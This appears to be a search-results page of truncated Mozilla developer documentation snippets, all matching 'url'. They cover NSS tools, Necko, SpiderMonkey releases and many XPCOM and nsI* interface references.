url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbols: --> [ data ] data ...
certutil
ct name, as the correct issuer of a certificate. the certificate database tool will prompt you to select the authority key id extension. x.509 certificate extensions are described in rfc 5280. -4 add a crl distribution point extension to a certificate that is being created or added to a database. this extension identifies the
url of a certificate's associated certificate revocation list (crl). certutil prompts for the
url. x.509 certificate extensions are described in rfc 5280. -5 | --nscerttype keyword,keyword add a netscape certificate type extension to a certificate that is being created or added to the database. there are several available keywords: ...
NSS tools : ssltap
s other than hostname:port, the information you get in this way is not very useful. for example, assume your development machine is called intercept. the simplest way to use the debugging tool is to execute the following command from a command shell: $ ssltap www.netscape.com the program waits for an incoming connection on the default port 1924. in your browser window, enter the
url http://intercept:1924. the browser retrieves the requested page from the server at www.netscape.com, but the page is intercepted and passed on to the browser by the debugging tool on intercept. on its way to the browser, the data is printed to the command shell from which you issued the command. data sent from the client to the server is surrounded by the following symbols: --> [ d...
NSS tools : vfychain
les. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia
url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trusted (overrides db...
Necko Interfaces Overview
warning: the content of this article may be out of date. it was last updated in 2001. nsiioservice central necko service manages protocol handlers thin layer over protocol handlers provides interface for creating uri objects from uri strings maps uri scheme to appropriate nsiprotocolhandler impl nsiuri (nsi
url, nsifile
url, nsistandard
url) represents an uri, with getters and setters for various uri parts (eg. scheme, host, path, ...) per protocol implementation necko provides uri impl's for common uri formats (see nsstandard
url, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie. channel is used to download the resource once) download initiated via nsichannel::...
Multithreading in Necko
on the file transport's thread before proxying data to the main thread. the file transport is confusingly named since it is not restricted to loading files. it simply promises to read from a nsiinputstream (or write to a nsioutputstream) on a background thread. the implementation of the stream should be blocking; however, there is limited support for non-blocking streams. cached page loads, file
url loads, and jar
url loads all utilize the file transport service. the jar protocol handler, for rexample, passes a special nsiinputstream impl that does gzip decoding on the fly. dns thread (0-1) on most platforms dns requests a processed on a background thread. however, the details of the implementation are heavily platform dependent. for example, on xp_win an invisible window is created with ...
Getting SpiderMonkey source code
you can get the spidermonkey source code in gzipped form or directly from the mercurial repository. downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following
urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell. getting the latest spidermonkey source code from mercurial the mercurial repository at https://hg.m...
Parser API
bstract syntax tree (ast). additional options may be provided via the options object, which can include any of the following properties: loc boolean default: true when loc is true, the parser includes source location information in the returned ast nodes. source string default: null a description of the input source; typically a filename, path, or
url. this string is not meaningful to the parsing process, but is produced as part of the source location information in the returned ast nodes. line number default: 1 the initial line number to use for source location information. builder builder default: null a builder object, which can be used to produce ast nodes in custom data formats. the exp...
SpiderMonkey 24
ificantly improved garbage collector, a new jit compilation mode, and other features. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. — dec 16, 2013 the download
url still available, but spidermonkey not release alone! get it here mozilla-esr24 if the download
url is outdate you will find it in "firefox extended support release 24" package on hg release platform support spidermonkey 24 is supported on all the platforms where firefox 24 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. (this change was motivated by...
SpiderMonkey 31
ver previous spidermonkey releases, with a significantly improved garbage collector and other features. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. the download
url is outdated and spidermonkey not release alone! get it here mozilla-esr31 you will find it in "firefox extended support release 31" package on hg release platform support spidermonkey 31 is supported on all the platforms where firefox 31 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note that th...
SpiderMonkey 38
s to improve performance over previous spidermonkey releases, with xxx blah blah blah. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. — sep 17, 2015 the download
url is outdated and spidermonkey not release alone! get it here mozilla-esr38 you will find it in "firefox extended support release 38" package on hg release platform support spidermonkey 38 is supported on all the platforms where firefox 38 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note that th...
SavedFrame
all stack frames, including the frames from chrome compartments (a -> b -> c). to view everything, use an xraywrapper. this is the default wrapper. to see the stack as the content compartment sees it, waive the xray wrapper with components.utils.waivexrays: const contentviewofstack = components.utils.waivexrays(somestack); accessor properties of the savedframe.prototype object source the source
url for this stack frame, as a string. line the line number for this stack frame. column the column number for this stack frame. functiondisplayname either spidermonkey’s inferred name for this stack frame’s function, or null. asynccause if this stack frame is the asyncparent of other stack frames, then this is a string representing the type of asynchronous call by which this frame ...
TPS Pref Lists
a prefs asset list is an array of objects with name and value keys, representing browser preferences. for example: var prefs1 = [ { name: "browser.startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.
urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences. to find the list of valid preferences, go to about:config on a browser that has weave installed, and search for services.sync.prefs.sync. for a more detailed test example, see the tps prefs unit test. ...
TPS Tab Lists
following functions: tabs.add - opens the specified tabs in the browser window. tabs.verify - verifies that the specified tabs can be found in the specified profile. tabs.verifynot - verifies that the specified tabs cannot be found in the specified profile. there are a handful of static pages at http://hg.mozilla.org/services/tps/file/tip/pages which can be used for tab testing, and data:
url's can be used as well. example see the tps tabs unit test: http://hg.mozilla.org/services/tps/f...s/test_tabs.js ...
Using the Places annotation service
ese functions and not make up your own uris, because these functions will efficiently default to the default page favicon when it does not exist. see using the places favicon service for more information. lifetime of annotations annotation expiration can be explicitly stated when the annotation is created. if no expiration is specified, the annotation is expired when the number of visits to the
url is set to zero. valid values for expiration are: expire_with_history : default. annotations live as long as the uri is in history (eg: has >0 visits). expire_never : never expire. must be explictly removed. expire_session : removed at application exit. expire_days : removed at 7 days. expire_weeks : removed at 30 days. expire_months : removed at 180 days. annotationservice.setpageannot...
The Publicity Stream API
cification. onerror is an error callback that will be invoked if the installation fails. possible error codes include: denied - if the user does not log in correctly permissiondenied - if the site is not allowed to access the publicity stream networkerror - if the publicity server is unreachable for_apps is a json list of apps that this store has (each represented as its origin
url), so that stream events not relating to applications in a given presentation context can be excluded from the return value. if null or an empty list is passed, events for all apps are returned. since the timestamp of the earliest event you want returned. if not specified, will default to the beginning of the stream. before the timestamp of the latest event you want returned. if not specified,...
Resources
this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the wor...
Using XPCOM Utilities to Make Things Easier
ows an nsembedcstring being used to pass an nsacstring to a method that's not expected to modify the string. // in idl: method(in acstring thing); char* str = "how now brown cow?"; nsembedcstring data(str); rv = object->method(data); in this next example, the method is going to set the value of the string - as it might need to do when it returns the name of the current user or the last viewed
url. // in idl: attribute acstring data; nsembedcstring data; method->getdata(data); // now to extract the data from the
url class: const char* astring
url =
url.get(); note that the memory pointed to by astring
url after the call to
url.get() is owned by the
url string object. if you need to keep this string data around past the lifetime of the string object, you must make a copy. string size...
Components.utils.evalInSandbox
optionally specify the js version, filename, and line number of the code being evaluated. for instance: var x = components.utils.evalinsandbox( "let x = 1;", sandbox, "1.8", // "latest" is recognized as a special case "http://foo.com/mycode.js", 25 ); the above will execute code using javascript 1.8. any exceptions raised by the evaluated code will show as originating from the above
url. the evaluated code is assumed to start at line 25 of the document at that
url. ...
Components.utils.unload
d give a new reference. if the javascript code module has not yet been imported then this method will do nothing. you should not unload modules that are part of the application (anything under resource://gre/ or resource:/// or resource://app/) as these may be in use by other extensions and the application. only unload modules you include as part of your extension. syntax components.utils.unload(
url ); parameters
url the "resource://"
url of the script to unload. this must be the same
url that was used to load the script. example you can unload a module called mymodule.jsm using the following line of code: components.utils.unload("resource://myaddon/modules/mymodule.jsm"); note: currently components.utils.unload clears the global object of an unloaded module. this may cause mod...
HOWTO
atement, your script will hang (busy wait). this is of course a massive, ugly hack prone to error, but this is what the xpcshell test harness does. there should really be a better solution in xpcshell. using js modules and non-ui javascript chrome files problem you want to write a javascript file, and run it in xpcshell. the file uses js modules. maybe it even uses javascript files from chrome://
urls. e.g., you use: components.utils.import("resource://app/modules/gloda/log4moz.js"); however, you get (for that particular line, which is the first import): uncaught exception: [exception... "component returned failure code: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line ...
Observer Notifications
spector-treepanel-ready - sent when the inspector's tree panel is opened and initialized. inspector-unhighlighting - sent every time the highlighter stops highlighting a node. remote-listening string sent after when the remote agent is listening for incoming connections after remoteagent.listen() is called. the data is a string containing a fully qualified
url to the main target’s websocket endpoint. telemetry topic data description gather-telemetry - note: this is obsolete and planned to be removed as it's not firing at the proper times. sent by the telemetry service when it's time to start gathering telemetry data, since the telemetry ping is coming soon. plugins top...
IAccessibleHyperlink
e anchors would all reference the image object. the anchortargets would reference the second level accessible hyperlink objects. none of the iaccessibleaction methods would be implemented on the first level hyperlink objects. the second level hyperlink objects would implement the iaccessibleaction methods. their anchors would also reference the image object and their anchortargets would reference
urls or the objects that would be activated. this use case demonstrates that in some cases there is no need for iaccessiblehyperlink to derive from iaccessibleaction. as a result it may be removed in a later version of the idl and it is suggested that implementations should not rely on the inheritance. method overview [propget] hresult anchor([in] long index, [out] variant anchor ); [propget] hr...
amIInstallCallback
toolkit/mozapps/extensions/amiinstalltrigger.idlscriptable a callback function that web pages can implement to be notified when triggered installs complete. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void oninstallended(in astring a
url, in print32 astatus); methods oninstallended() called when an install completes or fails. void oninstallended( in astring a
url, in print32 astatus ); parameters a
url the
url of the add-on being installed. astatus 0 if the install was successful or negative if not. ...
imgICache
disposition' 'type' is a nsisupportscstring containing the images' mime type such as 'image/png' 'content-disposition' will be a nsisupportscstring containing the header if you call this before any data has been loaded from a uri, it will succeed, but come back empty. nsiproperties findentryproperties( in nsiuri uri ); parameters uri the uri to look up. return value null if the
url was not found in the cache. removeentry() evict images from the cache. void removeentry( in nsiuri uri ); parameters uri the uri to remove. exceptions thrown ns_ok if a uri was removed from the cache. ns_error_not_available if a uri was unable to be removed from the cache. ...
mozIAsyncHistory
toolkit/components/places/moziasynchistory.idlscriptable this interface allows you to add multiple visits to a single
url in a batch. 1.0 66 introduced gecko 24.0 inherits from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a service: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getservice(components.interfaces.moziasynchistory); method overview void getplacesinfo(in jsval aplaceidentifiers, in mozivisitinfocallback acallback); void isurivisited(in nsiuri auri, in mozivisitedstatuscallback acallback); void updateplaces(in moziplaceinfo, [optional] in mozivisitinfocallback acallback); m...
mozIPlacesAutoComplete
ugh results, then match anywhere in each searchable term. match_boundary 2 match on word boundaries in each searchable term. match_beginning 3 match only the beginning of each search term. behavior_history 1 << 0 search through history. behavior_bookmark 1 << 1 search though bookmarks. behavior_tag 1 << 2 search through tags. behavior_title 1 << 3 search the title of pages. behavior_
url 1 << 4 search the
url of pages. behavior_typed 1 << 5 search for typed pages. behavior_javascript 1 << 6 search javascript:
urls. behavior_openpage 1 << 7 search for pages that have been marked as being opened, such as a tab in a tabbrowser. methods registeropenpage() mark a page as being currently open. note: pages will not be automatically unregistered when private browsing mode is en...
nsIAccessibleDocument
ue if the document is live in an editor. false if the document is being displayed but not edited. if a <div> is contenteditable, then it has its own document, with iseditable == true. read only. obsolete since gecko 1.9 mimetype astring the mime type of the document. read only. title astring the title of the document, as specified in the document. read only.
url astring the
url of the document read only. window nsidomwindow the nsidomwindow that the document resides in. read only. windowhandle voidptr the window handle for the os window the document is being displayed in. for example, in windows you can static cast it to an hwnd. read only. native code only! methods getaccessibleinparentchain() ...
nsIAccessibleHyperLink
ssible within the parent accessible. the returned value is related to the nsiaccessiblehyperlink interface of the object that owns this hyperlink. read only. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. valid boolean determines whether the hyperlink is valid, for example points to a valid
url. read only. note: currently only used with aria links, and the author has to specify that the link is invalid via the aria-invalid='true' attribute. in all other cases, true is returned. exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree. methods returns a reference to the object at the given index. n...
nsIAutoCompleteItem
xpfe/components/autocomplete/public/nsiautocompleteresults.idlscriptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.7 attributes attribute type description classname string class name used to define some style through css like the colors, an icon
url, and so on. comment wstring an extra comment that will be displayed next to the value but that will not be part of the value itself. param nsisupports parameter use by the search engine. value astring the result value using astring to avoid excess allocations. ...
nsICommandLine
o 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsicommandlinehandler interface to add custom command line handling behavior. definitions arguments any values found on the command line. switches flags. in normalized form, these are preceded by a single dash. some flags may take parameters; for example: "-
url <param>" or "-install-xpi <param>". method overview long findflag(in astring aflag, in boolean acasesensitive); astring getargument(in long aindex); boolean handleflag(in astring aflag, in boolean acasesensitive); astring handleflagwithparam(in astring aflag, in boolean acasesensitive); void removearguments(in long astart, in long aend); nsifile resolvefile(in astring aargument); ...
nsIConsoleService
scripterror = components.classes["@mozilla.org/scripterror;1"] .createinstance(components.interfaces.nsiscripterror); scripterror.init(amessage, asourcename, asourceline, alinenumber, acolumnnumber, aflags, acategory); consoleservice.logmessage(scripterror); } amessage — the string to be logged. you must provide this. asourcename — the
url for a file associated with an error. this will be a hyperlink in the error console, so you'd better use real
url. you may pass null if it's not applicable. asourceline — the line #alinenumber from asourcename file. you are responsible for providing this line. you may pass null if you are lazy; this will prevent the source line showing in the error console. alinenumber and acolumnnumber — sp...
nsIContentPrefService2
ated with any particular domain. as a consumer of this interface, you might choose to let a global preference override all non- global preferences of the same name, for example, for whatever definition of "override" is appropriate for your use case. domain parameters many methods of this interface accept a "domain" parameter. domains may be specified either exactly, like "example.com", or as full
urls, like "http://example.com/foo/bar". in the latter case the api extracts the full domain from the
url, so if you specify "http://foo.bar.example.com/baz", the domain is taken to be "foo.bar.example.com", not "example.com". private-browsing context parameters many methods also accept a "context" parameter. this parameter relates to private browsing and determines the kind of storage that a method ...
nsICrashReporter
iteminidumpforexception(in voidptr aexceptioninfo); native code only! attributes attribute type description enabled boolean enable or disable the crashreporter at runtime. minidumppath nsilocalfile get or set the path on the local system to which minidumps will be written when a crash happens. exceptions thrown ns_error_not_initialized if crash reporting is not initialized. server
url nsi
url get or set the
url to which crash reports will be submitted. only https and http
urls are allowed, as the submission is handled by os-native networking libraries. exceptions thrown ns_error_failure on get if no
url is set. ns_error_invalid_arg on set if a non-http(s)
url is assigned. ns_error_not_initialized if crash reporting is not initialized. submitreports boolean user preference...
nsIDOMHTMLSourceElement
a summary to this article. last changed in gecko 1.9.1.2 inherits from: nsidomhtmlelement the source element allows authors to specify multiple media resources for media elements. it does not specify anything on its own. attributes attribute type description src domstring the src attribute gives the address of the media resource. the value must be a valid
url. this attribute must be present. note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or video) instead. type domstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it. if...
nsIDOMNSHTMLDocument
de domstring returns "backcompat" if the document is in quirks mode or "css1compat" if the document is in full standards or almost standards mode. read only. designmode domstring set to "on" or "off" to enable or disable editing for the entire document at once. roughly equivalent to body.contenteditable domain domstring initially the host name of the document's
url, but may be changed to the parent (but not top-level) domain in order to facilitate data exchange between documents from different sites in the same domain. embeds nsidomhtmlcollection equivalent to getelementsbytagname("embed") read only. fgcolor domstring same as body.text head nsidomhtmlheadelement returns the first child element of the html element...
nsIDOMStorageEventObsolete
tribute is "#session", then the session storage has changed. note: this interface describes the old, non-standard form of this event. you should use the nsidomstorageevent interface instead. method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring
urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage. read only. methods initstorageevent() initializes a storage event. void initstorageevent( in domstring typearg, in boolean canbubblearg, in...
nsIDOMWindowUtils
_flag_selection_ime_selectedconvertedtext 0x0040 one of values of aadditionalflags of sendquerycontentevent(). query_content_flag_selection_accessibility 0x0080 one of values of aadditionalflags of sendquerycontentevent(). query_content_flag_selection_find 0x0100 one of values of aadditionalflags of sendquerycontentevent(). query_content_flag_selection_
urlsecondary 0x0200 one of values of aadditionalflags of sendquerycontentevent(). query_content_flag_selection_
urlstrikeout 0x0400 one of values of aadditionalflags of sendquerycontentevent(). query_content_flag_offset_relative_to_insertion_point 0x0800 one of values of aadditionalflags of sendquerycontentevent(). query_selected_text 3200 query_selec...
nsIDownloadProgressListener
ger.constants. adownload the download whose state changed. onstatuschange() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) called when the status of a download request has changed. the received status message is intended to be displayed visibly to the user. note: if source and destination are identical, which is possible in case of file
urls or chrome
urls, this is called even in gecko 1.9.2. in such a situation no further event handlers are called and the stop flag is set; if there are more pending downloads in such a situation not yet started they never start. in normal situations this is never called. the method even if never called must be implemented in the listener, because the webprogress used to do the physical part of the d...
nsIDragDropHandler
lated to drag and drop. void detach(); parameters none. hookupto() attaches drag handlers to a specified receiver, setting up callbacks to let built-in behaviors be overridden. void hookupto( in nsidomeventtarget attachpoint, in nsiwebnavigation navigator ); parameters attachpoint the receiver to which to attach drag handlers. navigator the nsiwebnavigation object to handle the dropped
urls. if this is null, the client must handle the drop itself, either through the method provided via overridedrop() or by letting the event bubble up through the dom. ...
nsIDroppedLinkHandler
uri, or null if there is no valid link to be dropped. exceptions thrown ns_error_dom_security_err error will be thrown and the event canceled if the receiving target should not load the uri for security reasons. this will occur if the source of the drag initiated a link for dragging that it itself cannot access. this prevents a source document from tricking the user into a dragging a chrome
url for example. droplinks() given a drop event, determines the link being dragged. if non-empty links array is returned the caller can, for instance, load it. if empty links array is returned, there is no valid link to be dropped. void droplinks( in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out ns...
nsIDroppedLinkItem
dom/base/nsidroppedlinkhandler.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description
url domstring
url of the dropped link. name domstring name of the dropped link. type domstring mime-type of the dropped link. see also nsidroppedlinkhandler ...
nsIEditorDocShell
tforuriload); attributes attribute type description editable boolean this docshell is editable. read only. editor nsieditor gets or sets the editor for the content document. haseditingsession boolean this docshell has an editing session. read only. methods makeeditable() make this docshell editable, setting a flag that causes an editor to get created, either immediately, or after a
url has been loaded. void makeeditable( in boolean inwaitforuriload ); parameters inwaitforuriload true to wait for a uri before creating the editor. ...
nsIExternalHelperAppService
ot data whose filename has the specified extension should be decoded from the specified encoding type before being saved or delivered to helper applications. boolean applydecodingforextension( in autf8string aextension, in acstring aencodingtype ); parameters aextension the filename extension to check. aencodingtype the encoding type to check. return value true if data from
urls with the specified extension and encoding should be decoded prior to saving the file or delivering it to a helper application; otherwise false. docontent() binds an external helper application to a stream listener. the caller should pump data into the returned stream listener. when the onstoprequest is issued, the stream listener implementation will launch the helper app with this data. nsistrea...
nsIFeed
g2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to this feed. enclosurecount long indicates the number of enclosures associated with a feed. generator nsifeedgenerator describes the software that produced a feed. image nsiwritablepropertybag2 provides an image
url and metadata, as defined by rss 2. items nsiarray specifies an array of the items or entries on the feed. skipdays nsiarray an array of days of the week on which the feed should not be fetched. each entry in the array is the name of one day of the week to skip. for example, to skip fetching on mondays, a feed that does not want to be fetched on mondays would spe...
nsIGlobalHistory
docshell/base/nsiglobalhistory.idlscriptable the interface to global history. 66 introduced gecko 1.0 deprecated gecko 2.0 obsolete gecko 15.0 inherits from: nsisupports last changed in gecko 1.7 method overview void addpage(in string a
url); boolean isvisited(in string a
url); methods addpage() add a page to the history. void addpage( in string a
url ); parameters a
url the
url to the page. isvisited() checks to see if the given page is in history. boolean isvisited( in string a
url ); parameters a
url the
url to the page. return value true if a page has been passed into addpage(). ...
nsIMicrosummaryGenerator
ontent to generate a microsummary. microsummaries generated by xslt templates need page content, while those which represent the actual microsummary do not. read only. uri nsiuri the canonical location and unique identifier of the generator. it tells us where the generator comes from and where to go for updates. read only. for generators referenced by web pages via <link> tags, this uri is the
url specified by the tag. for generators installed via nsisidebar.addmicrosummarygenerator(), this uri is a urn of the form urn:source:<
url>, where <
url> is the remote location from which we installed the generator. for generators installed via some other mechanism (for example an extension that dynamically creates generators), this uri is a urn in a form of the extension's own choosing, with the onl...
nsIMsgCompFields
. (bug 68784) messageid char * needtocheckcharset prbool indicates whether we need to check if the current documentcharset can represent all the characters in the message body. it should be initialized to true and set to false when 'send anyway' is selected by a user. ...
nsIMsgFilterList
terlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream log
url readonly attribute acstring nsimsgfilterlist::log
url methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsigned long filterindex ) getfilternamed() nsimsgfilter nsimsgfilterlist::getfilternamed (in astring filtername) setfilterat() nsimsgfilter nsimsgfilterlist::setfilterat ( in unsigned long filterindex, in nsimsgfilter filter ) removefilter()...
nsIMsgSearchSession
pes() add all scopes of a given type to the search. void addallscopes(in nsmsgsearchscopevalue attrib); parameters attrib search() void search(in nsimsgwindow awindow); parameters awindow interruptsearch() void interruptsearch(); pausesearch() these two methods are used when the search session is using a timer to do local search, and the search adapter needs to run a
url (e.g., to reparse a local folder) and wants to pause the timer while running the
url. this will fail if the current adapter is not using a timer. void pausesearch(); resumesearch() void resumesearch(); setsearchparam() [noscript] nsmsgsearchtype setsearchparam(in nsmsgsearchtype type, in voidptr param); parameters type param addre...
nsINavBookmarkObserver
aparentguid the unique id associated with the item's parent. notes this table indicates what anewvalue should be depending on property specified by aproperty: property string value "cleartime" empty string; this property means the history was deleted, so there's no last visit date. "title" the new title for the item "favicon" the "moz-anno"
url for the new favicon image. "uri" the new uri for the item. "tags" empty string; this property indicates that the set of tags for the item have changed. "dateadded" the prtime at which the item was first added to the database. "lastmodified" the prtime at which the item was last modified. onitemmoved() this method notifies this observer that an...
nsINavHistoryQueryOptions
do anything if excludequeries is set. defaults to false. note that this has no effect on folder links, which are place: uris returned by nsinavbookmarkservice's getfolderuri method. these are always expanded and will appear as bookmark folders. includehidden boolean most items in history are marked "hidden." only toplevel pages that the user sees in the
url bar are not hidden. hidden things include the content of iframes and all images on web pages. normally, you don't want these things. if you do, set this flag and you'll get all items, even hidden ones. does nothing for bookmark queries. defaults to false. maxresults long this is the maximum number of results that you want. the query is exeucted, the results are sorted,...
nsINavHistoryResultNode
idnight on the morning of the day in question in utc. title autf8string title of the web page or of the node's grouping (day, host, folder, and so on.). read only. type unsigned long identifies the type of node. you can use queryinterface to access the corresponding specialized result node interface. read only. uri autf8string the uri of the resource represented by the node. for visits and
urls, this is the
url of the page. for folders and queries, this is the place: uri of the corresponding folder or query. this may be empty for other types of objects, like host containers. read only. viewindex long value with undefined meaning for use by the view. its initial value will be -1. the result implementation treats nodes with this property set to -1 as invisible! view-implementations ma...
nsIPrincipal
inherits from: nsiserializable last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for details on principals, how they work, and how to get the appropriate one, see security check basics. ...
nsIProtocolProxyService
oxies will be removed from the list. a proxy is disabled if it had previously failed-over to another proxy (see getfailoverforproxy()). a proxy is disallowed, for example, if it is a http proxy and the nsiprotocolhandler for the queried uri does not permit proxying via http. if a nsiprotocolhandler disallows all proxying, then filters will never have a chance to intercept proxy requests for such
urls. note: it is possible to construct filters that compete with one another in undesirable ways. this api does not attempt to protect against such problems. it is recommended that any extensions that choose to call this method make their position value configurable at runtime (perhaps via the preferences service). void registerfilter( in nsiprotocolproxyfilter afilter, in unsigned long aposit...
nsIScriptError2
ero time to the time the message was created. read only. methods initwithwindowid() void init( in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid ); parameters message the text of the message to add to the log. sourcename the
url of the file in which the error occurred. this will be a hyperlink in the javascript console, so you should use a real
url. you may pass null if it's not applicable. sourceline the line number in the source file on which the error occurred. you are responsible for providing that line. you may pass null if you are lazy; that will prevent showing the source line in javascript console. linenumber ...
nsIScriptableIO
riptor. return value returns an nsifile object referencing the specified file location. exceptions thrown ns_error_invalid_arg afilepath was null. newuri() creates a uri object that implements the nsiuri interface. nsiuri newuri( in nsivariant auri ); parameters auri the file for which to create a new nsiuri object. this parameter may be specified either as a
url string or as an nsifile object. return value returns an nsiuri object corresponding to the specified string or file. exceptions thrown ns_error_invalid_arg auri was null. newinputstream() retrieves a stream from which data can be read. nsisupports newinputstream( in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar...
nsIStringBundleService
a property file. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle;1. to access this service, use: var stringbundleservice = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice); method overview nsistringbundle createbundle(in string a
urlspec); nsistringbundle createextensiblebundle(in string aregistrykey); void flushbundles(); wstring formatstatusmessage(in nsresult astatus, in wstring astatusarg); methods createbundle() nsistringbundle createbundle( in string a
urlspec ); parameters a
urlspec the
url of the properties file to load. this is typically a locale
url, e.g. chrome://global/loc...
nsITraceableChannel
he browser tab that made the request) with your own implementation (see "implementing nsistreamlistener" below). after that your nsistreamlistener implementation will get the response data and will be able to pass the data on to the original nsistreamlistener (possibly modifying it). see nsitraceablechannel, intercept http traffic for a more detailed description with code samples. see modify
url before loading page in firefox for an overview of how to modify a request before it is made. method overview nsistreamlistener setnewlistener(in nsistreamlistener alistener); methods setnewlistener() replaces the channel's current listener with a new one, returning the listener previously assigned to the channel. nsistreamlistener setnewlistener( in nsistreamlistener aliste...
nsIURIFixup
ernate uri from the input uri, for example to turn foo into www.foo.com. fixup_flag_use_utf8 4 use utf-8 to encode the uri instead of the platform character set. fixup_flag_fix_scheme_typos 8 fix common scheme typos. methods createexposableuri() converts an internal uri (for example a wysiwyg uri) into one which we can expose to the user, for example on the
url bar. nsiuri createexposableuri( in nsiuri auri ); parameters auri the uri to be converted. return value the converted, exposable uri, as an nsiuri. exceptions thrown ns_error_unknown_protocol when we can not get a protocol handler service for the uri scheme. ns_error_malformed_uri when the exposable portion of auri is malformed. createfixupuri() converts the specified string...
nsIURIFixupInfo
upports consumer that asked for the fixed up uri. preferreduri nsiuri best guess of what uri consumer expects. may be null if we can't deliver (eg. the input is an invalid uri and fixup_flag_allow_keyword_lookup is not passed). read only. fixeduri nsiuri the fixed-up original input, *never* using a keyword search. (may be null if the original input was broken as a
url, e.g. "foo bar"!). read only. keywordprovidername astring the keyword search provider name expected to provide a keyword search; empty string if no keyword search is performed. read only. keywordassent astring the keyword used for the search (post trimming etc.); empty string if no keyword search is performed. read only. fixupchangedprotocol boolean if...
nsIWebNavigation
this will give priority to loading the requested uri in the object implementing this interface. if it can't be loaded here however, the uri dispatcher will go through its normal process of content loading. void loaduri( wstring uri, unsigned long loadflags, nsiuri referrer, nsiinputstream postdata, nsiinputstream headers ); parameters uri the uri string to load. for http and ftp
urls and possibly others, characters above u+007f will be converted to utf-8 and then
url- escaped per the rules of rfc 2396. loadflags flags modifying load behaviour. this parameter is a bitwise combination of the load flags defined above. (undefined bits are reserved for future use.) generally you will pass load_flags_none for this parameter. referrer the referring uri. if this argument is null...
nsIWorkerFactory
t anymore to create workers from chrome. instead, you can just do new worker or new chromeworker. implemented by: threads/workerfactory;1. to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method overview nsiworker newchromeworker(in domstring ascript
url); methods newchromeworker() returns a new chromeworker that will run a specified script. nsiworker newchromeworker( in domstring ascript
url ); parameters ascript
url the
